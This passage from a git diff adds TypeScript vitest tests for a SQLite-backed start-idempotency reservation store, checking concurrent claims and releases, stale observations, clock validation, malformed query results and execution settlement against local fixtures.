+    const sqlite = openSqlite();
+    sqlite.exec(
+      "CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT); INSERT INTO fixture VALUES (1, 'occupied')",
+    );
+    const db: InitialAdmissionDatabase = sqliteUnitDatabase(sqlite);
+    expect(
+      await db.batch([
+        db.prepare(
+          "INSERT INTO fixture VALUES (1, 'occupied') ON CONFLICT DO NOTHING RETURNING *",
+        ),
+        db.prepare(
+          "UPDATE fixture SET value = 'wrong' WHERE changes() = 1 RETURNING *",
+        ),
+      ]),
+    ).toEqual([
+      { success: true, results: [], meta: { changes: 0 } },
+      { success: true, results: [], meta: { changes: 0 } },
+    ]);
+    expect(sqlite.prepare('SELECT value FROM fixture').get()).toEqual({
+      value: 'occupied',
+    });
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/start-idempotency.test.ts b/packages/flowsafe/src/do-runner/start-idempotency.test.ts
index 5bb54005..4a42da7b 100644
--- a/packages/flowsafe/src/do-runner/start-idempotency.test.ts
+++ b/packages/flowsafe/src/do-runner/start-idempotency.test.ts
@@ -8,7 +8,7 @@
 // row whose run is still readable — and each one asserts the EXPENSIVE
 // direction: that exactly one caller was told to start.
 
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
 import {
   openSqlite,
@@ -16,13 +16,15 @@ import {
   sqliteUnitDatabase,
 } from '../../test-support/sqlite.js';
 import { doErrorResponse } from './do-error-response.js';
-import type { ExecutionFenceDatabase } from './execution-fence.js';
 import {
-  ExecutionFencedError,
-  ExecutionFenceStore,
-} from './execution-fence.js';
+  InvalidExecutionIdentityError,
+  RunAdmissionConflictError,
+  type StartExecutionIdentity,
+} from './execution-admission.js';
+import { ExecutionFenceStore } from './execution-fence.js';
 import {
   beginIdempotentStart,
+  decodeStartReservationAdmissionResult,
   IdempotentStartAlreadySettledError,
   IdempotentStartPendingError,
   type IdempotentStartSurface,
@@ -30,20 +32,1309 @@ import {
   InvalidStartIdempotencyRequestError,
   isStartReservationRefusal,
   requireStartIdempotency,
-  rollbackFencedStart,
+  START_IDEMPOTENCY_DDL,
   START_IDEMPOTENCY_TABLE,
   type StartIdempotencyDatabase,
+  type StartIdempotencyStatement,
   StartIdempotencyStore,
   StartIdempotencyUnsupportedError,
   type StartReservation,
   StartReservationOwnerMismatchError,
+  type StartReservationReading,
+  type StartReservationRequest,
   StartReservationTargetMismatchError,
   StartReservationUnreadableError,
+  validateStartReservationAdmissionSchema,
 } from './start-idempotency.js';
 
 const OWNER = { kind: 'human', id: 'operator-1' } as const;
 const OTHER_OWNER = { kind: 'human', id: 'operator-2' } as const;
 
+describe('FS8 D2 exact reservation primitives', () => {
+  const execution: StartExecutionIdentity = {
+    tablePrefix: '',
+    workflowId: 'payout',
+    runId: 'run',
+    startToken: 'generation',
+    owner: OWNER,
+    target: { kind: 'workflow', id: 'payout' },
+  };
+  const methods = [
+    'claimReservation',
+    'releaseReservation',
+    'associateReservation',
+    'bindPreparedStart',
+  ] as const;
+  type Method = (typeof methods)[number];
+
+  async function modern(state: 'reserved' | 'started' = 'reserved') {
+    const h = harness();
+    const reserved = await h.store.reserve(workflowRequest('key', 'run'));
+    expect(reserved.reservation.binding).toEqual({ kind: 'unbound' });
+    h.sqlite
+      .prepare(
+        "UPDATE flowsafe_start_idempotency SET state = ?, start_token = ''",
+      )
+      .run(state);
+    const observed = await h.store.readForAdmission('key');
+    if (!observed) throw new Error('modern fixture is missing');
+    return { ...h, observed };
+  }
+
+  function invoke(
+    store: StartIdempotencyStore,
+    method: Method,
+    observed: StartReservationReading,
+    identity = execution,
+  ) {
+    return method === 'claimReservation' || method === 'releaseReservation'
+      ? store[method](observed)
+      : store[method](observed, identity);
+  }
+
+  const stateFor = (method: Method) =>
+    method === 'claimReservation' ? 'reserved' : 'started';
+  const bindingFor = (identity = execution) => ({
+    kind: 'bound' as const,
+    execution: {
+      tablePrefix: identity.tablePrefix,
+      workflowId: identity.workflowId,
+      runId: identity.runId,
+      startToken: identity.startToken,
+    },
+  });
+
+  it('returns exactly one own claim receipt for simultaneous equal-stamp contenders', async () => {
+    const h = await modern();
+    const claims = await Promise.all([
+      h.store.claimReservation(h.observed),
+      new StartIdempotencyStore(h.binding, {
+        now: () => 1_000,
+      }).claimReservation(h.observed),
+    ]);
+    expect(claims.filter(Boolean)).toHaveLength(1);
+    const winner = claims.find(Boolean);
+    if (!winner) throw new Error('winning claim is missing');
+    expect(winner).toEqual({
+      ...h.observed,
+      state: 'started',
+      updatedAt: 1_001,
+    });
+    expect(Object.isFrozen(winner)).toBe(true);
+    expect(Object.isFrozen(winner?.owner)).toBe(true);
+    expect(Object.isFrozen(winner?.binding)).toBe(true);
+    expect(await h.store.releaseReservation(winner)).toBe(true);
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      state: 'reserved',
+      updated_at: 1_002,
+    });
+  });
+
+  it('returns one successful release for simultaneous callers holding the same claim', async () => {
+    const h = await modern('started');
+    await expect(
+      Promise.all([
+        h.store.releaseReservation(h.observed),
+        h.store.releaseReservation(h.observed),
+      ]),
+    ).resolves.toEqual([true, false]);
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      state: 'reserved',
+      updated_at: 1_001,
+    });
+  });
+
+  it.each([
+    1_000, 100,
+  ])('rejects stale release and claim observations through an ABA cycle at clock %s', async (clock) => {
+    const h = await modern();
+    const store = new StartIdempotencyStore(h.binding, { now: () => clock });
+    const first = await store.claimReservation(h.observed);
+    if (!first) throw new Error('first claim is missing');
+    expect(await store.releaseReservation(first)).toBe(true);
+    const released = await store.readForAdmission('key');
+    if (!released) throw new Error('released row is missing');
+    const second = await store.claimReservation(released);
+    if (!second) throw new Error('second claim is missing');
+    const before = rows(h.sqlite);
+    const staleRelease = await store
+      .releaseReservation(first)
+      .catch((error: unknown) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(staleRelease).toBe(false);
+    expect(first.updatedAt).toBe(1_001);
+    expect(released.updatedAt).toBe(1_002);
+    expect(second.updatedAt).toBe(1_003);
+    expect(await store.claimReservation(h.observed)).toBeUndefined();
+    expect(await store.releaseReservation(second)).toBe(true);
+    const staleClaim = await store
+      .claimReservation(released)
+      .catch((error: unknown) => error);
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      state: 'reserved',
+      updated_at: 1_004,
+    });
+    expect(staleClaim).toBeUndefined();
+  });
+
+  it.each([
+    'claimReservation',
+    'releaseReservation',
+  ] as const)('%s refuses invalid or exhausted clocks before preparing SQL', async (method) => {
+    const h = await modern(stateFor(method));
+    for (const [clock, updatedAt] of [
+      [Number.NaN, 1_000],
+      [Number.POSITIVE_INFINITY, 1_000],
+      [Number.NEGATIVE_INFINITY, 1_000],
+      [1_000, Number.MAX_VALUE],
+      [1_000, 2 ** 54],
+    ] as const) {
+      const prepare = vi.fn(h.binding.prepare.bind(h.binding));
+      const now = vi.fn(() => clock);
+      const store = new StartIdempotencyStore({ prepare }, { now });
+      await expect(
+        store[method]({ ...h.observed, updatedAt }),
+      ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+      expect(now).toHaveBeenCalledTimes(1);
+      expect(prepare).not.toHaveBeenCalled();
+    }
+    const store = new StartIdempotencyStore(h.binding, { now: () => 1e100 });
+    h.sqlite
+      .prepare('UPDATE flowsafe_start_idempotency SET updated_at = ?')
+      .run(2 ** 54);
+    const outcome = await store[method]({ ...h.observed, updatedAt: 2 ** 54 });
+    expect(outcome).toBeTruthy();
+    expect(rows(h.sqlite)[0]?.updated_at).toBe(1e100);
+  });
+
+  it.each(
+    methods,
+  )('%s preserves every rewritten observation field before reporting a miss', async (method) => {
+    for (const change of [
+      "key = 'replacement'",
+      "run_id = 'replacement'",
+      "owner_kind = 'service'",
+      "owner_id = 'replacement'",
+      "target_kind = 'agent', thread_id = 'thread'",
+      "target_id = 'replacement'",
+      "thread_id = 'replacement'",
+      'created_at = created_at + 1',
+      'updated_at = updated_at + 1',
+      "state = 'terminal'",
+    ]) {
+      const h = await modern(stateFor(method));
+      h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`);
+      const before = rows(h.sqlite);
+      const outcome = await invoke(h.store, method, h.observed).catch(
+        (error: unknown) => error,
+      );
+      expect(rows(h.sqlite), change).toEqual(before);
+      if (method === 'claimReservation')
+        expect(outcome, change).toBeUndefined();
+      else if (method === 'releaseReservation')
+        expect(outcome, change).toBe(false);
+      else if (
+        method === 'associateReservation' &&
+        change.startsWith('thread_id')
+      )
+        expect(outcome).toBeInstanceOf(StartReservationUnreadableError);
+      else expect(outcome, change).toBeInstanceOf(RunAdmissionConflictError);
+    }
+  });
+
+  it.each(
+    methods,
+  )('%s preserves each independently changed unbound column before reporting failure', async (method) => {
+    for (const change of [
+      "start_token = 'other'",
+      "start_table_prefix = ''",
+      "start_workflow_id = 'payout'",
+      'start_token = NULL',
+    ]) {
+      const h = await modern(stateFor(method));
+      h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`);
+      const before = rows(h.sqlite);
+      const outcome = await invoke(h.store, method, h.observed).catch(
+        (error: unknown) => error,
+      );
+      expect(rows(h.sqlite), change).toEqual(before);
+      if (method === 'claimReservation') expect(outcome).toBeUndefined();
+      else if (method === 'releaseReservation') expect(outcome).toBe(false);
+      else
+        expect(outcome).toBeInstanceOf(
+          method === 'associateReservation' && change !== 'start_token = NULL'
+            ? StartReservationUnreadableError
+            : RunAdmissionConflictError,
+        );
+    }
+  });
+
+  it.each(
+    methods,
+  )('%s refuses legacy, bound, terminal and wrong-state observations before I/O', async (method) => {
+    const h = await modern(stateFor(method));
+    const prepare = vi.fn(h.binding.prepare.bind(h.binding));
+    const store = new StartIdempotencyStore({ prepare });
+    const invalid: StartReservationReading[] = [
+      { ...h.observed, binding: { kind: 'legacy' } },
+      {
+        ...h.observed,
+        binding: bindingFor(),
+      },
+      { ...h.observed, state: 'terminal' },
+      { ...h.observed, key: 'bad/key' },
+      { ...h.observed, targetId: 'bad/target' },
+      { ...h.observed, createdAt: Number.NaN },
+      { ...h.observed, updatedAt: Number.POSITIVE_INFINITY },
+    ];
+    if (method !== 'associateReservation')
+      invalid.push({
+        ...h.observed,
+        state: method === 'claimReservation' ? 'started' : 'reserved',
+      });
+    for (const observed of invalid)
+      await expect(invoke(store, method, observed)).rejects.toBeInstanceOf(
+        InvalidExecutionIdentityError,
+      );
+    expect(prepare).not.toHaveBeenCalled();
+  });
+
+  it.each(
+    methods,
+  )('%s captures caller getters, nested identities and clock before held schema I/O', async (method) => {
+    const h = await modern(stateFor(method));
+    let resume!: () => void;
+    const held = new Promise<void>((resolve) => {
+      resume = resolve;
+    });
+    const original = structuredClone(h.observed);
+    const identity = structuredClone(execution);
+    const counts = new Map<string, number>();
+    function getters<T extends object>(source: T, prefix: string): T {
+      return Object.defineProperties(
+        {},
+        Object.fromEntries(
+          Object.keys(source).map((key) => [
+            key,
+            {
+              enumerable: true,
+              get() {
+                const name = `${prefix}.${key}`;
+                counts.set(name, (counts.get(name) ?? 0) + 1);
+                return source[key as keyof T];
+              },
+            },
+          ]),
+        ),
+      ) as T;
+    }
+    const observationSource = {
+      ...original,
+      owner: getters(original.owner, 'owner'),
+      binding: getters(original.binding, 'binding'),
+    };
+    const observation = getters(observationSource, 'reservation');
+    const executionSource = {
+      ...identity,
+      owner: getters(identity.owner, 'execution.owner'),
+      target: getters(identity.target, 'execution.target'),
+    };
+    const supplied = getters(executionSource, 'execution');
+    let clock = 2_000;
+    const now = vi.fn(() => clock);
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        if (sql.startsWith('PRAGMA')) await held;
+        return execute();
+      }),
+      { now },
+    );
+    const operation = invoke(store, method, observation, supplied);
+    Object.assign(original.owner, { kind: 'service', id: 'changed' });
+    Object.assign(original.binding, { kind: 'legacy' });
+    Object.assign(identity.owner, { kind: 'service', id: 'changed' });
+    Object.assign(identity.target, {
+      kind: 'agent',
+      id: 'changed',
+      threadId: 'changed',
+    });
+    Object.assign(observationSource, {
+      key: 'changed',
+      runId: 'changed',
+      targetKind: 'agent',
+      targetId: 'changed',
+      threadId: 'changed',
+      state: 'terminal',
+      createdAt: 77,
+      updatedAt: 88,
+    });
+    Object.assign(executionSource, {
+      workflowId: 'changed',
+      runId: 'changed',
+      startToken: 'changed',
+      tablePrefix: 'changed_',
+    });
+    clock = 9_000;
+    resume();
+    await expect(operation).resolves.toBeTruthy();
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      owner_id: OWNER.id,
+      target_id: 'payout',
+      updated_at:
+        method === 'claimReservation' || method === 'releaseReservation'
+          ? 2_000
+          : 1_000,
+      start_token:
+        method === 'claimReservation' || method === 'releaseReservation'
+          ? ''
+          : 'generation',
+    });
+    expect([...counts.values()].every((count) => count === 1)).toBe(true);
+    expect(now).toHaveBeenCalledTimes(
+      method === 'claimReservation' || method === 'releaseReservation' ? 1 : 0,
+    );
+  });
+
+  it.each([
+    'claimReservation',
+    'releaseReservation',
+  ] as const)('%s never recovers or retries a thrown UPDATE', async (method) => {
+    for (const executeFirst of [false, true]) {
+      const h = await modern(stateFor(method));
+      const sqlSeen: string[] = [];
+      const cause = new Error('lost response');
+      const store = new StartIdempotencyStore(
+        interceptReservations(h.binding, async (sql, execute) => {
+          sqlSeen.push(sql);
+          if (sql.startsWith('UPDATE')) {
+            if (executeFirst) await execute();
+            else if (method === 'claimReservation')
+              await h.store.claimReservation(h.observed);
+            throw cause;
+          }
+          return execute();
+        }),
+        { now: () => 1_000 },
+      );
+      await expect(store[method](h.observed)).rejects.toMatchObject({ cause });
+      expect(sqlSeen.filter((sql) => sql.startsWith('UPDATE'))).toHaveLength(1);
+      expect(sqlSeen.some((sql) => sql.startsWith('SELECT'))).toBe(false);
+      expect(rows(h.sqlite)[0]).toMatchObject({
+        state:
+          executeFirst && method === 'releaseReservation'
+            ? 'reserved'
+            : 'started',
+        updated_at:
+          executeFirst || method === 'claimReservation' ? 1_001 : 1_000,
+      });
+    }
+  });
+
+  it('preserves a bound row when a delayed old release arrives', async () => {
+    const h = await modern('started');
+    await h.store.bindPreparedStart(h.observed, execution);
+    const before = rows(h.sqlite);
+    const outcome = await h.store
+      .releaseReservation(h.observed)
+      .catch((error: unknown) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(outcome).toBe(false);
+  });
+
+  it.each([
+    'associateReservation',
+    'bindPreparedStart',
+  ] as const)('%s binds canonical D1 and explicit custom namespaces without clock or snapshot access', async (method) => {
+    for (const tablePrefix of ['', 'APP_', null]) {
+      const h = await modern('started');
+      const now = vi.fn(() => {
+        throw new Error('binding must not read a clock');
+      });
+      const queries: string[] = [];
+      const store = new StartIdempotencyStore(
+        interceptReservations(h.binding, async (sql, execute) => {
+          queries.push(sql);
+          return execute();
+        }),
+        { now },
+      );
+      await expect(
+        store[method](h.observed, { ...execution, tablePrefix }),
+      ).resolves.toEqual({
+        ...h.observed,
+        binding: bindingFor({
+          ...execution,
+          tablePrefix: tablePrefix?.toLowerCase() ?? null,
+        }),
+      });
+      expect(now).not.toHaveBeenCalled();
+      expect(queries).toHaveLength(2);
+      expect(queries[0]).toContain(
+        'PRAGMA table_xinfo(flowsafe_start_idempotency)',
+      );
+      expect(queries[1]).toContain('UPDATE flowsafe_start_idempotency');
+    }
+  });
+
+  it.each([
+    'associateReservation',
+    'bindPreparedStart',
+  ] as const)('%s validates root introduction in owner-first order while permitting agent wrappers', async (method) => {
+    const h = await modern('started');
+    const prepare = vi.fn(h.binding.prepare.bind(h.binding));
+    const store = new StartIdempotencyStore({ prepare });
+    const cases: Array<
+      [
+        StartExecutionIdentity,
+        (
+          | typeof StartReservationOwnerMismatchError
+          | typeof StartReservationTargetMismatchError
+          | typeof InvalidExecutionIdentityError
+        ),
+      ]
+    > = [
+      [
+        {
+          ...execution,
+          owner: OTHER_OWNER,
+          target: { kind: 'workflow', id: 'other' },
+        },
+        StartReservationOwnerMismatchError,
+      ],
+      [
+        { ...execution, target: { kind: 'workflow', id: 'other' } },
+        StartReservationTargetMismatchError,
+      ],
+      [
+        {
+          ...execution,
+          target: { kind: 'agent', id: 'payout', threadId: 'thread' },
+        },
+        StartReservationTargetMismatchError,
+      ],
+      [{ ...execution, runId: 'other' }, InvalidExecutionIdentityError],
+      [{ ...execution, workflowId: 'child' }, InvalidExecutionIdentityError],
+    ];
+    for (const [identity, error] of cases)
+      await expect(store[method](h.observed, identity)).rejects.toBeInstanceOf(
+        error,
+      );
+    expect(prepare).not.toHaveBeenCalled();
+    h.sqlite.exec(
+      "UPDATE flowsafe_start_idempotency SET target_kind = 'agent', thread_id = 'thread'",
+    );
+    const observed = await h.store.readForAdmission('key');
+    if (!observed) throw new Error('agent reservation is missing');
+    const agent: StartExecutionIdentity = {
+      ...execution,
+      workflowId: 'trusted-wrapper',
+      target: { kind: 'agent', id: 'payout', threadId: 'thread' },
+    };
+    await expect(
+      store[method](observed, {
+        ...agent,
+        target: { ...agent.target, threadId: 'other' },
+      } as StartExecutionIdentity),
+    ).rejects.toBeInstanceOf(InvalidExecutionIdentityError);
+    expect(prepare).not.toHaveBeenCalled();
+    await expect(store[method](observed, agent)).resolves.toMatchObject({
+      binding: bindingFor(agent),
+    });
+  });
+
+  it.each([
+    'reserved',
+    'started',
+    'terminal',
+  ] as const)('alias lost-receipt convergence accepts S1 %s advancement without restamping', async (state) => {
+    const h = await modern();
+    const queries: string[] = [];
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        queries.push(sql);
+        const result = await execute();
+        if (sql.startsWith('UPDATE')) {
+          h.sqlite
+            .prepare(
+              'UPDATE flowsafe_start_idempotency SET state = ?, updated_at = ?',
+            )
+            .run(state, 4_000);
+          throw new Error('lost alias receipt');
+        }
+        return result;
+      }),
+      { now: () => 9_000 },
+    );
+    await expect(
+      store.associateReservation(h.observed, execution),
+    ).resolves.toEqual({
+      ...h.observed,
+      state,
+      updatedAt: 4_000,
+      binding: bindingFor(),
+    });
+    expect(rows(h.sqlite)[0]?.updated_at).toBe(4_000);
+    expect(queries.filter((sql) => sql.startsWith('UPDATE'))).toHaveLength(1);
+    expect(queries.filter((sql) => sql.startsWith('SELECT'))).toHaveLength(1);
+  });
+
+  it('associates the same S1 result after its snapshot disappears without reading a replacement result', async () => {
+    const h = await modern();
+    h.sqlite.exec('CREATE TABLE result_fixture (token TEXT, result TEXT)');
+    h.sqlite
+      .prepare('INSERT INTO result_fixture VALUES (?, ?)')
+      .run('generation', 'original-result');
+    const readResult = vi.fn(() =>
+      h.sqlite.prepare('SELECT * FROM result_fixture').get(),
+    );
+    const found = readResult();
+    h.sqlite.exec(
+      "DELETE FROM result_fixture; INSERT INTO result_fixture VALUES ('replacement', 'replacement-result')",
+    );
+    const queries: string[] = [];
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        queries.push(sql);
+        return execute();
+      }),
+    );
+    await expect(
+      store.associateReservation(h.observed, execution),
+    ).resolves.toMatchObject({ binding: bindingFor() });
+    expect(found).toEqual({ token: 'generation', result: 'original-result' });
+    expect(readResult).toHaveBeenCalledTimes(1);
+    expect(queries).toHaveLength(2);
+    expect(rows(h.sqlite)[0]?.updated_at).toBe(h.observed.updatedAt);
+  });
+
+  it.each([
+    'known-zero',
+    'lost-receipt',
+  ] as const)('alias %s converges only the same immutable identity and complete binding', async (mode) => {
+    for (const change of [
+      '',
+      "start_token = 'replacement'",
+      "start_table_prefix = 'other_'",
+      "start_workflow_id = 'other'",
+      "owner_id = 'other'",
+      'created_at = created_at + 1',
+      "start_token = '', start_table_prefix = NULL, start_workflow_id = NULL",
+      'start_token = NULL, start_table_prefix = NULL, start_workflow_id = NULL',
+      'DELETE',
+      'DROP',
+      "thread_id = 'bad/thread'",
+    ]) {
+      const h = await modern('started');
+      const cause = new Error('lost alias write');
+      let reads = 0;
+      const store = new StartIdempotencyStore(
+        interceptReservations(h.binding, async (sql, execute) => {
+          if (sql.startsWith('SELECT')) reads += 1;
+          if (!sql.startsWith('UPDATE')) return execute();
+          await execute();
+          if (change === 'DELETE')
+            h.sqlite.exec('DELETE FROM flowsafe_start_idempotency');
+          else if (change === 'DROP')
+            h.sqlite.exec('DROP TABLE flowsafe_start_idempotency');
+          else if (change)
+            h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`);
+          if (mode === 'lost-receipt') throw cause;
+          return { results: [] };
+        }),
+      );
+      if (!change)
+        await expect(
+          store.associateReservation(h.observed, execution),
+        ).resolves.toMatchObject({ binding: bindingFor() });
+      else if (mode === 'lost-receipt')
+        await expect(
+          store.associateReservation(h.observed, execution),
+        ).rejects.toMatchObject({ cause });
+      else
+        await expect(
+          store.associateReservation(h.observed, execution),
+        ).rejects.toBeInstanceOf(
+          change === 'DROP' || change.startsWith('thread_id')
+            ? StartReservationUnreadableError
+            : RunAdmissionConflictError,
+        );
+      expect(reads).toBe(1);
+    }
+  });
+
+  it('prepared known-zero never reads back another caller claim', async () => {
+    const h = await modern('started');
+    await h.store.bindPreparedStart(h.observed, execution);
+    const queries: string[] = [];
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        queries.push(sql);
+        return execute();
+      }),
+    );
+    await expect(
+      store.bindPreparedStart(h.observed, execution),
+    ).rejects.toBeInstanceOf(RunAdmissionConflictError);
+    expect(queries.some((sql) => sql.startsWith('SELECT'))).toBe(false);
+    expect(queries.filter((sql) => sql.startsWith('UPDATE'))).toHaveLength(1);
+  });
+
+  it.each([
+    '',
+    "state = 'terminal'",
+    "state = 'reserved'",
+    'updated_at = updated_at + 1',
+    'created_at = created_at + 1',
+    "start_token = 'other'",
+    "start_table_prefix = 'other_'",
+    "start_workflow_id = 'other'",
+    "owner_id = 'other'",
+    "target_id = 'other'",
+    "run_id = 'other'",
+  ])('prepared lost-receipt readback requires the exact original claim: %s', async (change) => {
+    const h = await modern('started');
+    const cause = new Error('lost prepared receipt');
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        const result = await execute();
+        if (sql.startsWith('UPDATE')) {
+          if (change)
+            h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`);
+          throw cause;
+        }
+        return result;
+      }),
+    );
+    if (change)
+      await expect(
+        store.bindPreparedStart(h.observed, execution),
+      ).rejects.toMatchObject({ cause });
+    else
+      await expect(
+        store.bindPreparedStart(h.observed, execution),
+      ).resolves.toEqual({ ...h.observed, binding: bindingFor() });
+  });
+
+  it.each(
+    methods,
+  )('%s rejects malformed RETURNING envelopes without readback', async (method) => {
+    const corruptions: Array<
+      [string, (row: Record<string, unknown>) => unknown]
+    > = [
+      ['failed', (row) => ({ success: false, results: [row] })],
+      ['missing results', () => ({ meta: { changes: 1 } })],
+      ['nonarray', (row) => ({ results: { 0: row, length: 1 } })],
+      ['sparse', () => ({ results: new Array(1) })],
+      [
+        'inherited',
+        (row) => ({
+          results: Object.setPrototypeOf(
+            new Array(1),
+            Object.assign(Object.create(Array.prototype), { 0: row }),
+          ),
+        }),
+      ],
+      [
+        'iterator',
+        (row) => ({
+          results: Object.assign([null], {
+            *[Symbol.iterator]() {
+              yield row;
+            },
+          }),
+        }),
+      ],
+      ['multiple', (row) => ({ results: [row, row] })],
+      [
+        'missing column',
+        (row) => ({
+          results: [
+            Object.fromEntries(
+              Object.entries(row).filter(([key]) => key !== 'created_at'),
+            ),
+          ],
+        }),
+      ],
+      ...Object.entries({
+        key: 'other',
+        run_id: 'other',
+        owner_id: 'other',
+        target_id: 'other',
+        created_at: 2,
+        updated_at: 2,
+        state: 'terminal',
+        start_token: 'other',
+        target_kind: 'unknown',
+        thread_id: 'bad/thread',
+      }).map(
+        ([key, value]) =>
+          [
+            key,
+            (row: Record<string, unknown>) => ({
+              results: [{ ...row, [key]: value }],
+            }),
+          ] as [string, (row: Record<string, unknown>) => unknown],
+      ),
+    ];
+    for (const [name, corrupt] of corruptions) {
+      const h = await modern(stateFor(method));
+      let reads = 0;
+      const store = new StartIdempotencyStore(
+        interceptReservations(h.binding, async (sql, execute) => {
+          if (sql.startsWith('SELECT')) reads += 1;
+          const result = (await execute()) as {
+            results: Array<Record<string, unknown>>;
+          };
+          if (!sql.startsWith('UPDATE')) return result;
+          const row = result.results[0];
+          if (!row) throw new Error('successful mutation row is missing');
+          return corrupt(row);
+        }),
+        { now: () => 1_000 },
+      );
+      await expect(
+        invoke(store, method, h.observed),
+        name,
+      ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+      expect(reads, name).toBe(0);
+    }
+  });
+
+  it.each(
+    methods,
+  )('%s captures each successful RETURNING field once', async (method) => {
+    const h = await modern(stateFor(method));
+    const counts = new Map<string, number>();
+    const once = (key: string, value: unknown) => ({
+      get() {
+        const count = (counts.get(key) ?? 0) + 1;
+        counts.set(key, count);
+        if (count > 1) throw new Error(`reread ${key}`);
+        return value;
+      },
+      enumerable: true,
+    });
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        const result = (await execute()) as {
+          results: Array<Record<string, unknown>>;
+        };
+        if (!sql.startsWith('UPDATE')) return result;
+        const returnedRow = result.results[0];
+        if (!returnedRow) throw new Error('successful mutation row is missing');
+        const row = Object.defineProperties(
+          {},
+          Object.fromEntries(
+            Object.entries(returnedRow).map(([key, value]) => [
+              key,
+              once(key, value),
+            ]),
+          ),
+        );
+        const returned: unknown[] = [];
+        Object.defineProperty(returned, 0, once('slot', row));
+        return Object.defineProperties(
+          {},
+          {
+            success: once('success', true),
+            results: once('results', returned),
+          },
+        );
+      }),
+      { now: () => 1_000 },
+    );
+    await expect(invoke(store, method, h.observed)).resolves.toBeTruthy();
+    expect(counts.size).toBe(16);
+    expect([...counts.values()].every((count) => count === 1)).toBe(true);
+  });
+
+  it.each(
+    methods,
+  )('%s requires the current schema without running readiness', async (method) => {
+    for (const stage of [0, 1, 2, 3, -1]) {
+      const h = await modern(stateFor(method));
+      if (stage === -1) h.sqlite.exec('DROP TABLE flowsafe_start_idempotency');
+      else if (stage < 3)
+        for (const column of bindingColumns.slice(stage).reverse())
+          h.sqlite.exec(
+            `ALTER TABLE flowsafe_start_idempotency DROP COLUMN ${column}`,
+          );
+      else
+        h.sqlite.exec(
+          'ALTER TABLE flowsafe_start_idempotency ADD COLUMN unexpected TEXT',
+        );
+      const ready = vi.fn(async () => {});
+      const queries: string[] = [];
+      const store = new StartIdempotencyStore(
+        interceptReservations(h.binding, async (sql, execute) => {
+          queries.push(sql);
+          return execute();
+        }),
+        { ready, now: () => 1_000 },
+      );
+      await expect(invoke(store, method, h.observed)).rejects.toBeInstanceOf(
+        StartReservationUnreadableError,
+      );
+      expect(ready).not.toHaveBeenCalled();
+      expect(queries).toHaveLength(1);
+      expect(queries[0]).toMatch(/^PRAGMA/);
+    }
+  });
+
+  it('settles both aliases of one full execution and preserves every neighboring execution before checking outcome', async () => {
+    const h = await modern('started');
+    await h.store.bindPreparedStart(h.observed, execution);
+    const insert = h.sqlite.prepare(
+      `INSERT INTO flowsafe_start_idempotency SELECT ?, owner_kind, owner_id, target_kind, target_id, run_id, thread_id, state, created_at, updated_at, start_token, start_table_prefix, start_workflow_id FROM flowsafe_start_idempotency WHERE key = 'key'`,
+    );
+    insert.run('alias');
+    const neighbors = [
+      "run_id = 'other'",
+      "start_token = 'other'",
+      "start_table_prefix = 'other_'",
+      'start_table_prefix = NULL',
+      "start_workflow_id = 'other'",
+      "owner_kind = 'service'",
+      "owner_id = 'other'",
+      "target_kind = 'agent', thread_id = 'thread'",
+      "target_id = 'other'",
+      "thread_id = 'other'",
+      "start_token = '', start_table_prefix = NULL, start_workflow_id = NULL",
+      'start_token = NULL, start_table_prefix = NULL, start_workflow_id = NULL',
+    ];
+    for (const [index, change] of neighbors.entries()) {
+      insert.run(`neighbor-${index}`);
+      h.sqlite.exec(
+        `UPDATE flowsafe_start_idempotency SET ${change} WHERE key = 'neighbor-${index}'`,
+      );
+    }
+    const before = rows(h.sqlite).filter((row) =>
+      String(row.key).startsWith('neighbor-'),
+    );
+    const store = new StartIdempotencyStore(h.binding, { now: () => 500 });
+    const outcome = await store
+      .settleExecution(execution)
+      .catch((error: unknown) => error);
+    expect(
+      rows(h.sqlite).filter((row) => String(row.key).startsWith('neighbor-')),
+    ).toEqual(before);
+    expect(outcome).toBe(2);
+    expect(
+      rows(h.sqlite).filter((row) => row.key === 'key' || row.key === 'alias'),
+    ).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({
+          key: 'key',
+          state: 'terminal',
+          updated_at: 500,
+        }),
+        expect.objectContaining({
+          key: 'alias',
+          state: 'terminal',
+          updated_at: 500,
+        }),
+      ]),
+    );
+    expect(
+      await new StartIdempotencyStore(h.binding, {
+        now: () => 9_000,
+      }).settleExecution(execution),
+    ).toBe(0);
+    expect(rows(h.sqlite)[0]?.updated_at).toBe(500);
+  });
+
+  it('settles explicit null and inherited child identities without a root classifier', async () => {
+    const h = await modern('started');
+    h.sqlite.exec(
+      "UPDATE flowsafe_start_idempotency SET start_token = 'generation', start_workflow_id = 'child'",
+    );
+    const inherited = { ...execution, workflowId: 'child', tablePrefix: null };
+    expect(
+      await h.store.settleExecution({ ...inherited, tablePrefix: '' }),
+    ).toBe(0);
+    expect(await h.store.settleExecution(inherited)).toBe(1);
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      state: 'terminal',
+      start_table_prefix: null,
+      start_workflow_id: 'child',
+    });
+  });
+
+  it('settlement captures its execution and finite clock before I/O and permits only genuine table absence', async () => {
+    const h = await modern('started');
+    await h.store.bindPreparedStart(h.observed, execution);
+    let resume!: () => void;
+    const held = new Promise<void>((resolve) => {
